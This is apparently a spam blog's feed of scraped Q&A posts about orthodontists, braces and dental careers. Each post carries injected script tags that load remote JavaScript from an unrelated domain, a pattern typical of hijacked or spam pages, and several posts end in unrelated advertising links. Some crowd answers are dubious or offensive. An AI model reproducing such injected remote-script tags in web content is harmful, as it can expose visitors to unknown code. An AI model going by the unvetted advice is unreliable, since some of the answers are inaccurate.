tag:blogger.com,1999:blog-35115275342398705332024-03-08T10:43:46.496-08:00orthodontistsSELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.comBlogger330125tag:blogger.com,1999:blog-3511527534239870533.post-87069028563859204602010-05-21T21:21:00.003-07:002010-05-21T21:21:55.018-07:00Is it the orthodontist's fault? Recession gums/ tooth is being pulled forward too much.?Hi. I am 32 years old and I've been wearing braces for over 4 years now. I've noticed that one of the lower front tooth is moving forward and it seems as if the tooth will come out from the gums. I can almost see the bottom line of the tooth. The gums are descended that much. It almost looks like the tooth is tearing the gums apart. <br><br /><br />I once pointed out the descended gums but my orthodontist just said " I know, it is fine" He is a man of good reputation in the field so I believed him. Now the condition has become worse and I am worried that I might loose the tooth. It is just a matter of time. <br><br /><br />I paid nearly $6,000 for the teeth streightened and now I am about to loose one healthy tooth. Shouldn't he be responsible for it? Can I have him pay the fee for the gums reconstruction? <br><br /><br />What can I do to prevent the worst result. <br><br /><br />Please give me some advice....<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Is it the orthodontist's fault? Recession gums/ tooth is being pulled forward too much.?<br>what I would do would have them take an xray of the area and compare to the original xray from when you started. This will give you an idea of what the bone support looked like to begin with. When you start orthodontics you probably signed a waiver saying that certain things may happen, as unlikely as they may be, sometimes they do happen such as bone loss, root resorption and what you may be describing. I would have a consultation with the doctor with the xrays and possibly consult a periodontist as well with the films. Don't get on the "lets sue" bandwagon until you know all the details and as a last resort. It may be able to be fixed without the legal route.<br><br /><br /><br><br /><br />Oh yea, on a side-note....don't take advice from people who don't work in the field, there is a lot of bad advice out there just "based on their experience" A lot of people have braces on for many years for different reasons. Orthodontics is an art and a science. Its not a "cookie cutter" profession where every case is exactly the same. Just keep that in the back of your mind.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-47407547607492153682010-05-21T21:21:00.002-07:002010-05-21T21:21:38.912-07:00Calling all dentists, orthodontist, and the like!?I want to become a dentist, orthodontist, or oral surgeon. When I enter college do I need to be enrolled in pre-dentistry or should/could I major in something else before I enter dental school? Are there any especially superb dental schools? What do you think I should keep in mind? Is there any specialization that I should look in to? Here is your chance to spill your guts and help someone. Please help me, I want to know everything! Thank you!<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Calling all dentists, orthodontist, and the like!?<br>you need to register in dental school after your pre med. It takes 4 years %26amp; 1 year residency. After that what every subject you are intersted you can do your PG.<br>Reply:My dentist majored in chemistry as an undergraduate. It was a great fit for pre-dent because there is so much chemistry involved in dentistry.<br><br /><br />UCLA has a great dental school.<br>Reply:The best thing to do is to shadow a couple of general dentists or specialists to understand what dentistry is all about. You do not need to be a pre-dentistry major. Most dental school prerequisites are similar to med schools so you can major in whatever you like as long as those required courses are taken. A good website is forums.studentdoctor.net and check out the pre-dental forum. Helped me a lot when I was in your shoes.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-79492353849970152462010-05-21T21:21:00.001-07:002010-05-21T21:21:27.276-07:00Can you change orthodontist half way through treatmeant?I really really really hate my orthodontist hes so rough and doesnt really seem to like his job at all, my friend goes to one which is nice and much closer to me anyway, is it possible to swap even though ive had my brace for 4 months?<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Can you change orthodontist half way through treatmeant?<br>Yes you can. Many people have to switch because they move while in treatment. You want to go where you are happy as you may be in treatment for many months to come.<br><br /><br /><br><br /><br />However, it may effect and reduce you orthodontic benefits if there is insurance. So you may want to look into that.<br>Reply:Yes! I recommend it in your case for sure. Just don't change toilets in the middle of...ahh yeah. Orthodontist and toilets remind me of each other, sorry about that. I've got a fierce set of big white chompers, check em out! Errrrrrr!!!<br>Reply:yeah i think no problems.. i'm sure he can handle it..<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><a href=http://www.skinskin.com.cn/skin-care-products/>skin care products</a>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-92188563046545641282010-05-21T21:21:00.000-07:002010-05-21T21:21:10.309-07:00Can i change orthodontist?my orthodontist and his assistants are very nonchalant and they never speak. I just started the process and have a habit appliance in now. my ortho never gave me a treatment plan like sit down with me and tell me what will happen. the other day when i got the habit appliance in i had the sign the forms and I heard them talking about not having my records and they almost had me sign something with someone else's name on it. I don't know if they found my xrays but if they don't have those how could the doc have looked at them and determined if my teeth is strong enough for braces or if i needed teeth removed. I asked the assistant when I will get braces on she said in a couple of months. they happyely take my money but treat me like a number I want to change and get my down payment back befor I get braces which I don't know if i will ever get at teh rate they are going. Are all ortho offices like that. I always hear upset people especially parents is this normal or should i leave<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Can i change orthodontist?<br>Yes, although you have to tell your old orthodontist taht you will be needing your records because your new orthodontist will need them. Here in the Philippines, it's ethically not allowed when a dentist continues a case without due permission or information.<br>Reply:You need to ask first the new orthodontist you want to goto if they will pick up where you left off and you need to ask your insurance carrier. Other then that you are free to do what you want. <br><br /><br /> As far as getting your money back - check if you signed a contract promising payment.<br>Reply:yes you can...all u need to do is loo it up in the phone book and make sure your health insureance accepts then as part of their plan or you will have to pay out of your own poket ...beleive me... i have braces and happy that my health insureance is paying for the one I moved to...lol<br>Reply:Hi,<br><br /><br /><br><br /><br />Sounds like you got one of the bad apples! I would be flying out of his/her office with all of my records/X-rays/impressions ASAP! Plus, I would notify the Dental BOARD in your STATE of the misdeeds! You are well within your rights to seek out another orthodontist, and I mean FAST! I would also check the Dental Board in your State's Capital for any demerits, blemishes, suspensions, or any other type of action(s) taken against this weasel! LEAVE ASAP with all of your RECORDS -- you PAID for them ALREADY and they MUST, BY LAW give them to you (with a small copying fee sometimes) BY all means RUN to a REPUTABLE ORTHODONTIST!!!!!!!<br>Reply:I'm a dentist.<br><br /><br /><br><br /><br />First off, quit your whining.<br><br /><br /><br><br /><br />"Losing" x-rays is not a major problem as you'd have everyone on this forum believe. It takes us five minutes to get new x-rays on patients should the need arise.<br><br /><br /><br><br /><br />If you feel you're being neglected, for God's sake, talk to the doctor! He's a reasonable person, and I'm sure he'd do whatever is necessary to treat you appropriately.<br><br /><br /><br><br /><br />(I'm shocked to see that some ****** above me suggested that you file a complaint with the state's dental board over this problem. Some people just have a real chip on their shoulders when it comes to doctors, and are sue-happy bitches. People like that make us feel even more comfortable with charging an arm and a leg for our services).<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-7476322608404596372010-05-21T21:20:00.002-07:002010-05-21T21:20:53.918-07:00How does the orthodontist fix me my braces?In one week they are going to put me brackets above and below and i wanted to know everything what they are going to do to me since I feel in the armchair of the orthodontist.<br><br /><br />Thank for your answers .<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>How does the orthodontist fix me my braces?<br>You meant the process of applying braces? Well they usually put a device in your mouth that widens and holds on your lips and cheeks back. They take a cotton swab and make your brace tooth dry, they mix this edible, cement like substance. They rub someone your teeth and put the bracket on. They then use ultraviolet ray gun to superheat the cement and make it stay. Its a sour taste. It doesn't hurt when its being done. Then they add the wire and put an elastic over the wire which ties to the bracket, the wires hook into these metal encasing around your molars.<br><br /><br /><br><br /><br />Your moulds are a different story....<br>Reply:If I remember correctly, they make a mold of your teeth with a plaster like substance. Then they may put spacers between your teeth so they can put the brackets or band around the teeth on. Then they will put the front parts on. Both of these are done with a cement substance. Then they will thread the wire through, tighten it in the back and cut the ends off. It will be painful for a few days. Just remember, no gum, corn on the cob, etc. <br><br /><br /><br><br /><br />Good luck<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-68925703782252183542010-05-21T21:20:00.001-07:002010-05-21T21:20:27.354-07:00Orthodontist or orthodontist assistant/tech?whats the difference? im interested in being one but im not quite sure.. can you give me details about the job and how to start your business and stuff like that?<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Orthodontist or orthodontist assistant/tech?<br>Lucy, I believe that's plagiarism.<br>Reply:An orthodontist is the actual dentist who specialized in orthodontia. An orthodontist assistant is simply a dental assistant with orthodontic experience, or an assistant who chose to specialize in orthodontics. The assistant is the one who does most of the work, while the orthodontist simply checks the work and performs tasks that the assistant cannot. The assistants make far less money than the actual dentist. The way to get started is to get enrolled in dental assisting school. After that, you will have a clearer understanding of all aspects of this field and how to get started.<br>Reply:An orthodontist is the actual dentist who specialized in orthodontia. An orthodontist assistant is simply a dental assistant with orthodontic experience, or an assistant who chose to specialize in orthodontics. The assistant is the one who does most of the work, while the orthodontist simply checks the work and performs tasks that the assistant cannot. The assistants make far less money than the actual dentist. The way to get started is to get enrolled in dental assisting school. After that, you will have a clearer understanding of all aspects of this field and how to get started.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-40596623692548159482010-05-21T21:20:00.000-07:002010-05-21T21:20:06.571-07:00Calling all Orthodontist!....Figure 8?Today my orthodontist said he was going to do a figure 8 on me today. What he did was take 2 wires and wrap them around the wire or something and then kept on twisting it.....but i was wandering what the point of that was....and what it did. (also...is it suppose to hurt?)<br><br /><br />Thank You<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Calling all Orthodontist!....Figure 8?<br>A figure-8 tie pulls the wire very tightly into the bracket. That, combined with a flexible wire will straighten out your rotated teeth.<br><br /><br /><br><br /><br />Sometimes it will hurt a little more than usual because it is putting more pressure on the individual tooth than you are accustomed to.<br>Reply:A figure 8 is simply meant to hold the teeth in the position that they are. A steel ligature is used to do this, which is what your dentist twisted. Steel ligatures are stronger than elastic ties and are also used to move teeth when tied on each individual tooth but not when figure 8ed. Also no the figure 8 really does not hurt.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><a href=http://2ladies-dress-shoes.blogspot.com/>ladies dress shoes</a>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-8904661861352418622010-05-21T21:19:00.002-07:002010-05-21T21:19:50.421-07:00Is there orthodontist care on a sliding scale?My daughter desperately needs braces, but we just can't afford it. I wonder if there is an orthodontist that will charge according to income.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Is there orthodontist care on a sliding scale?<br>NO UNFORTUNATELY NOT. PRICES FOR TREATMENT DONT TAKE THAT INTO CONSIDERATION. BUT YOU CAN TRY A LOWER SOCIAL INCOME AREA AND GO TO AN ORTHY THERE THEY DO CHARGE LESS.<br>Reply:I don't know of any that charge according to income. Has she seen an orthodontist yet? If not, there are some that offer free consultations. Lots of orthodontists offer a monthly payment plan through their offer or you can go through a financing company to get a loan. Hope this helps.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-81347267800987369262010-05-21T21:19:00.001-07:002010-05-21T21:19:33.672-07:00About the orthodontist?Iam goin to an orthodontist tomoro Iam worried!?<br><br /><br />ok iam goin to my forst ortho apptment what will happen<br><br /><br /><br><br /><br />ok do you have the choice of getting molarbands like can you say HOOKs intead?<br><br /><br /><br><br /><br />I have one baby tooth left its my second last on the top <br><br /><br /><br><br /><br />will i have to get it like cant they just brace the ADULT teeth?<br><br /><br />and wait till it falls?<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>About the orthodontist?<br>You will not get braces on your first visit to the orthodontist. In fact, they won't do very much at all. They will probably take x-rays and pictures of your teeth. They will look at your teeth and decide what needs to be done. Most likely they will take a mold of you mouth so that they can get your braces ready. They might put rubber bands between your back teeth, but I seriously doubt that they will do it the first time you go. Don't worry about it. Everything will be okay. Your first visit isn't a big deal.<br>Reply:well my friend had to get braces when she still had a baby tooth and she had to get it removed. but another one of my friends had to get braces and had a baby tooth and they just put braces on the adult teeth...it just depends on ur ortho.<br>Reply:i had the same problem when i got braces and i ended up having the baby tooth pulled. it wasn't bad at all, so don't worry! anyways you'll end up having a pretty smile! :)<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-91805733849381055522010-05-21T21:19:00.000-07:002010-05-21T21:19:18.801-07:00Is my Orthodontist weird or is it just me?I just think its weird that almost everyone who goes into my Orthodontist office comes out with braces and headgear. I have it and it sucks. I don't understand why everyone needs it! I mean EVERYONE who goes to my ortho has it. I think its a waste of money!<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Is my Orthodontist weird or is it just me?<br>I thought that headgear was a thing of the past! I mean some cases may need them but not like it was 10 years ago due to the evolution of dentistry. I do know that everyone that I have talked to with my Orthodontist has had to have their braces on longer than intended. I was told 10 months and here it is 14 months and I still have them. I do want them perfect though. Especially if I paid $2700.00 for them.<br>Reply:it's kinda weird but my ortho is like that too every single person from my ortho gets the same exact treatment brackets on every tooth then rubber bands streched over 2 brackets. teh total price is 3600...<br>Reply:maybe it's just your idea..maybe you should get another opinion from another orthodontist<br>Reply:He' s not weird, he's just an orthodontist. He probably tells everyone they need braces - why? Because then he gets MONEY!<br><br /><br /><br><br /><br />The other reason everyone at your orthodontist has braces and headgear could be that they are at an orthodontist. Word on the street is that's wear you get braces.<br>Reply:ortho means corrective and dontist refers to dentition, or teeth. you need braces and head gear for corrective dentistry. most people who see an orthodontist already know they need this. someone with a perfect smile is not going to make an appointment. your orthodontist is not weird, it's you.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-1593094628908631112010-05-21T21:18:00.003-07:002010-05-21T21:18:56.156-07:00Toothpick at Orthodontist?This might be a silly question, but the last two times I have visited my orthodontist, they have put this toothpick that had a red tip and a blue tip in my mouth and then on my wire. Why the heck do they do that? Whats this toothpick all about??<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Toothpick at Orthodontist?<br>It is used to mark on the wire where it was placed. For instance, they may mark the on the wire where the center of your teeth should be, where teeth may meet, any odd overlaps, or anything else they may need to take note of. That way, when the doctor takes the wire out of your mouth, he can make the appropriate bends and adjustments to your wire in the right places and then put it back correctly.<br>Reply:the red/blue tip is an anesthetizing substance...<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><a href=http://ella-dress-shoes.blogspot.com/>dress shoes</a>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-21227297144339848572010-05-21T21:18:00.002-07:002010-05-21T21:18:33.502-07:00When an orthodontist says?Before you get braces on, like when they tell you to set up the appointments to get teeth pulled, if the assistant of the orthodontist says you will probably need braces for a year, is this accurate, or just a guess?????<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>When an orthodontist says?<br>dont take they word serious.they told me that I need 2-3 years of treatment and now its 6 years that I have braces.<br><br /><br />about extracting some teeth:its a part of orthodontic therapy in some cases, in order to push the other teeth backward in the mouth.for example in people that their teeth and lips are so protrude(we call it bi maxillary protrusion in dental texts).<br><br /><br />like most of the black people.<br><br /><br />or when they arent enough space in mouth for all the teeth so the dentist choose 1-2 or 4 teeth to be pulles in 1 or both jaws to align other teeth.<br>Reply:i had 2 get teeth pulled to make room in my mouth (I think ihad 2 much room and wuz crowded)<br><br /><br />Now, currently, i do have braces<br>Reply:Probably pretty accurate depending on the amount of time it will actually take to correct the problem, in some cases it is longer.<br>Reply:It's pretty accurate because they know approximately how long it will take based on the number of other patients they've seen go through it.<br>Reply:Completely guessing. True, they may be able to make a good estimate, but until they see your progress, they have no way of guaranteeing that. There's no way to put an accurate time frame on something like that, so I wouldn't get my hopes up too high. If it does only take a year, you're luckier than most. It also depends on how much work you need. If you're teeth aren't that bad, then it very well could take a year or less. There's no definites with braces.<br>Reply:It is a guess. They can't know for certain until they see how you progress.<br>Reply:It's pretty accurate.<br>Reply:when i needed braces they pulled out 4 teeth,BUT THATS BCZ I HAD THEM REALLY CROOKED.trust me.my health teacher said that every time they say the amount of year,your goin to have them onother extra year. For example: if they tell you one year it means 2 years. Its true bcz they told me i would have them 2 years and i had them for 3 years.The same story happened to all my friends.<br>Reply:I assume that the assistant read something on the chart and did not guess. Why would she? Whenever I send someone to the orthodontist, I get a letter back and it ALWAYS has an estimated treatment time. This is routine and it must also be written in the chart.<br>Reply:Yes, this is very accurate. They have scean a lot of mouths and they know how long it takes to get them off.<br>Reply:A guess. Braces could go 6 months either side of the estimate.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-65223141490759346002010-05-21T21:18:00.001-07:002010-05-21T21:18:16.459-07:00Pediatrician or orthodontist?I took an online test to see what career suites me and from my results I really liked the pediatrician and orthodontist careers, but I am not sure which is better.. do you have any sudgestions?..like which career pays more or works more hours.. stuff like that...<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Pediatrician or orthodontist?<br>Which is better verses pays better?<br><br /><br /><br><br /><br />Hmmm, <br><br /><br /><br><br /><br />the Orthodontist has the highest suicide of any professional and the pediatrician has the highest liability insurance costs of all medical professions. <br><br /><br /><br><br /><br />Causing Pain in the mouth and the related stress verses rarely but the reality of seeing babies die. <br><br /><br /><br><br /><br />As a nurse, none of my high tech babies ever died but it is something doctors see a lot of in time. <br><br /><br /><br><br /><br />And time..you will be working 16 to 18 hour days and every other weekend as a doc. You will be on call several nights a week.<br><br /><br /><br><br /><br />If you are a doctor, you are always a doctor, 24 hours a day. People don't 911 their dentist. Even if you break a tooth after hours, we will see you at the hospital usually.<br><br /><br /><br><br /><br />You have a very hard decision to make.<br><br /><br /><br><br /><br />There are more important things than money.<br><br /><br /><br><br /><br />All of the above are great answers. Feed them into the free Choose It program you will find half way down the page on the site below. It is a decision matrix tool for such questions.<br><br /><br /><br><br /><br />If you want time off and less pressure, go elsewhere. If you are committed and love people, follow your heart.<br>Reply:both are good pay and career. use head or tail method<br>Reply:That depends. A Pediatrician is a medical doctor, and an Orthodontist is a Dental doctor. In order to become a Pediatician, you need the following training:<br><br /><br /><br><br /><br />- 4 years Bachelor degree<br><br /><br />- 4 years medical school<br><br /><br />- 3 years Pediatrics residency<br><br /><br /><br><br /><br />In order to become an Orthondotist, you need:<br><br /><br />- 4 years Bachelor degree<br><br /><br />- 4 years dental school<br><br /><br />- 2 years Orthodontics residency<br><br /><br /><br><br /><br />With Pediatrics you'll be treating kids, orthodontics you can treat everyone.<br><br /><br /><br><br /><br />The thing is, Medical doctors (MD) have alot more prestige then Orthodontics, and the pay will probably be better. Orthodontics have better hours (usually 9-5) but Pediatricians usually have better pay.<br>Reply:both are pretty good, but requires medical school after college (or during once you get the necessary classes done for admissions)<br><br /><br /><br><br /><br />if you like kids, then go with pediatrician.<br><br /><br />if you like teeth, then go with orthodontist. they usually get a lot from 1 patient but there's no gurantee on how many patients they can receive. pediatricians usually get a lot more business. depends on where you work at or whether u open up your own clinic<br>Reply:Orthodontics <br><br /><br /><br><br /><br />Looking to improve your smile? loving to see a <br><br /><br />newfound confidence and self esteem appear as each new smile is revealed<br><br /><br /><br><br /><br />Pediatricians<br><br /><br /><br><br /><br />A pediatrician is a physician who specializes in the care of children and the treatment of children\'s ailments. Pediatricians must go to college and medical school like all other physicians. They must then do an internship and residency at a hospital, also like other doctors. However, after their training is complete and they become doctors, they study pediatrics, the study of children\'s diseases and ailments. A large part of a pediatrician\'s job is to educate parents about their children\'s health and to help them deal with behavioral issues that may have little to do with illness. Both you and your child need to be able to trust and feel comfortable with the person you choose. So in addition to finding a doctor who is a good clinician, it\'s important for you to find a person you and your children are comfortable with.<br>Reply:Both careers are great, they are very rewarding and very hard to achieve and keep. You can also take in mind what are the requirements of schooling.. usually medicine is longer than dentistry, and to get to a med school is harder than dental school. Also when you graduate the interships for MD are longer than for dentists, insurance is more expensive for MDs as I have heard, also I heard dentistry is cheaper... But anyways if you really dont know for sure, what you should do is try to volunteer with the patients, I was in the same ordeal, but after I volunteer I found out what I really did want to be. Good luck deciding ^^<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-86822107815780260232010-05-21T21:18:00.000-07:002010-05-21T21:18:00.653-07:00A good Orthodontist in the New York City Area?Ive recently moved to New York and I'm on the search for a good friendly orthodontist. If anyone knows any please respond, thank you<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>A good Orthodontist in the New York City Area?<br>Dr. Straight<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-26620003262911540992010-05-21T21:17:00.001-07:002010-05-21T21:17:44.379-07:00Problem with orthodontist?ok so i got my top braces (damon) on in january. and i usually went once a month usually around the 10th-12th. but the last time i went was may 12th and i was supposed to get my bottom ones on in june, but recently my orthodontist got kidney cancer and they are trying to find a replacement. and i want to know since i havent seen him in a couple of months will that mess up my schedule for when they come off?<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Problem with orthodontist?<br>yeah it will, unless u get a new orthodonist.<br>Reply:It probably will, since you never got the bottom ones on.<br>Reply:First of all....it is hard to say if you will have to have the bottom ones on longer or not (depends on your teeth) Not seeing your orthodontist as scheduled will effect your treatment time. If you have an overbite then you really need to get the bottom ones on. You do not have to wait until another orthodontist takes his place all you have to do is call another orthodontist in your area and let them know the situation and they can request your records and they can put your bottom ones on and continue your treatment and any money that you have with the old orthodontist will be transfered over to your new one to finish treatment. If you have any more questions please send me a message.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><a href=http://3work-boots.blogspot.com/>work boots</a>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-87958982350033830152010-05-21T21:17:00.000-07:002010-05-21T21:17:29.043-07:00Does the orthodontist want to pull out all of my baby teeth?my orthodontist told me only four teeth will be pulled, but i have 6 baby teeth. chances are he will remove 4 baby teeth. so, what about the 2 other baby teeth? will i have them while wearing braces? <br><br /><br /><br><br /><br />by the way, i'm 15 going to 16 in a month.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Does the orthodontist want to pull out all of my baby teeth?<br>best way to know is to ask him<br>Reply:at that age they should all have fallen out years ago m8, they have to all go<br>Reply:Perhaps the orthodontist is using the other two as space maintainers - to help keep the shape of your jaws while the treatment takes place.<br><br /><br /><br><br /><br />Sometimes baby teeth will not fall out and the permanent teeth will grow in around them and cause a big orthodontic mess!<br><br /><br /><br><br /><br />Sometimes the permanent teeth never come in and the baby teeth remain.<br><br /><br /><br><br /><br />That may be what is happening in your case. You really need to ask him/her about what's going on in your jaw. Only your orthodontist can give you a detailed explanation.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-26919054436926498042010-05-21T21:16:00.000-07:002010-05-21T21:16:55.210-07:00Autistic specialist? orthodontist?hey all, i got a problem,<br><br /><br />i want to be a dentist and maybe go on to be an orthodontist.<br><br /><br />but my parents think its a bad job for me and they want me to enter into the autistic specialist. <br><br /><br />can some one give me good facts about both jobs and which u will choose and y <br><br /><br />plz and ty<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Autistic specialist? orthodontist?<br>Working with students with Autism Spectrum Disorder(ASD), which is the politically correct way of saying it, isn't as rosy as some of the other answers would lead you to believe. It's NOT the kids that are the problem, it's the parents. Just be prepared to be constantly sued when 4 year-old Johnny has 175 goals on his IEP and only meets 174 of them. Parents are totally unrealistic when it comes to this. There is no cure for ASD. Through therapy, children with ASD can recover to a certain extent, depending on the severity of ASD. <br><br /><br /><br><br /><br />Working with the kids was great, even the ones who hit me, but I had to leave because I came to the conclusion it was the parents who really had the ASD, not the kids. If parents would just let people help their kids without demanding that Johnny be cured in a week, it would work so much better for everyone involved. When parents become adversarial about every little thing, the child is the one who suffers. If you think you can put up with overbearing parents and their lawyers, then go for it. Otherwise, stick to dentistry.<br>Reply:Well Some Autistic People is not able to do work like that.<br><br /><br /><br><br /><br />Cause it depends on what you want to do, and how you do it.<br><br /><br /><br><br /><br />You need to show your parents that you can do those jobs, and they may have a second opinion on that.<br>Reply:This is when you have to be a grown up and decide for yourself what you want to do wth your life. If your heart isnt in to working with people with autism then dont do it. Who is to say you couldnt become a dentist or orhtodontist that takes on special needs clients?<br>Reply:Why can't you do both? You can be an orthodontist in your professional life. In your "down" time you can volunteer with children who have autism and their families. <br><br /><br /><br><br /><br />I have a masters degree in Autism and Severely Emotionally Disturbed. I make the same as a teacher without a masters degree. Health insurance is so expensive I can't have my husband on my policy with me. I'm not sure what I'll do when I need to add a child to the policy. <br><br /><br /><br><br /><br />The time I spend with my students is very special to me and I love it without a doubt. Sometimes I wonder how my life would be different if I had gone into business administration. <br><br /><br /><br><br /><br />You don't have to choose one or the other when it comes down to it, you just have to make time for all of your passions in life.<br>Reply:Well, not all autistic children are the same. So, even though you like the one autistic child doesn't mean you'll like them all, unless there are autistic traits that you enjoy about him.<br>Reply:do what you need to do- you are the one that will be doing the schooling and job for the rest of your life<br>Reply:Here's a thought - become a pediatric dentist/orthodonist. Then you can do both :-). My daughter has autism and cerebral palsy and needs pediatric specialists for all her medical needs. Ped dentists are in HIGH demand. Finding a good one is hard for parents. I refuse to go to the one in our new city - and the nearest one is three hours away.<br><br /><br /><br><br /><br />You need to stand up on your own two feet and do what you want to - your parents shouldn't push you.<br>Reply:You really need to follow your heart--you will be the best at what you do when it's what YOU want to do. Explore several careers related to dentistry and working with children. As several people suggested in their answers, you might be able to combine your interests by specializing in pediatric dentistry. If you are young and just starting college, I advise keeping all your options open for a little while until you see what really pulls you.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-39937264347273319082010-05-21T21:15:00.000-07:002010-05-21T21:15:28.751-07:00Braces and orthodontist visit?I am going to my first orthodontist appointment on tuesday the 18th. I am wondering what they do at the first appointment and how long after that I will get braces. Please respond thanks. <br><br /><br /><br><br /><br />Ps. what color braces should i get, blue or pink? if blue is every blue the same because some blue braces look icy and I like the icy ones. thanks.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Braces and orthodontist visit?<br>On ur first visit the dr. will talk to you.. and take a look at your teeth. Tell you what you will actually need. He may suggest something other than braces, like a retainer or Invisalign <br><br /><br />The second visit, he will take impressions of your teeth. and x-rays to prepare for your treatment. Insurance issues will be dealth with usually around this time... if not before.<br><br /><br />The third (usually) appointment you will get your braces/retainer or whatever it is you need. <br><br /><br />The length of time it takes between appointments just depends on how busy the dental office is that you are going to.<br><br /><br /><br><br /><br /><br><br /><br />Alot of patients prefer clear braces. But the colour is totally up to you.. the elastics will be chaned every couple weeks. so you can try out as many colours as you like. Pink and blue.<br><br /><br /><br><br /><br />I hope this helps you.<br><br /><br />:)<br>Reply:you should get pink!<br><br /><br /><br><br /><br />Please answer my question!<br><br /><br />http://answers.yahoo.com/question/index;...<br>Reply:Pretty sure that he will take a mold of your teeth the first time.<br>Reply:The first appt is usually a consultation - they may not do anything but discuss what their plan is. They might combine that visit and take an impression of your mouth so they know how to treat your situation.<br>Reply:if you will be getting braces, maybe they will talk to you and take mold impressions of your teeth. the dr. will do his stuff after you leave in order to get the braces that fit the best. you might need to get teeth pulled out. get spacers.<br><br /><br />for color braces. u might get the normal single color bands and/or the power chain ones.. the power chain ones give pressure to the teeth in order they move in.<br><br /><br />hopefully, a dentist will stop by to read this question and write professional information.<br>Reply:the first consultation is just talkin about what there going to do and taking imprint of your teeth which sucks when they pull them out of your mouth then after that you should schedual anouther appointment to have them put on! You should get blue but diffrent orthodonist have different colors then what you see on other people unless they go to the place you go! Good Luck!<br>Reply:hi. i have braces and at the first appt. it is a consultaion. next appt. is the records visit. where you get all the x rays done and the molds of your teeth. they also did my braces that very same day. it took a while to put them on. god what a difference they make though. you will be amazed at how great you teeth will look! good luck 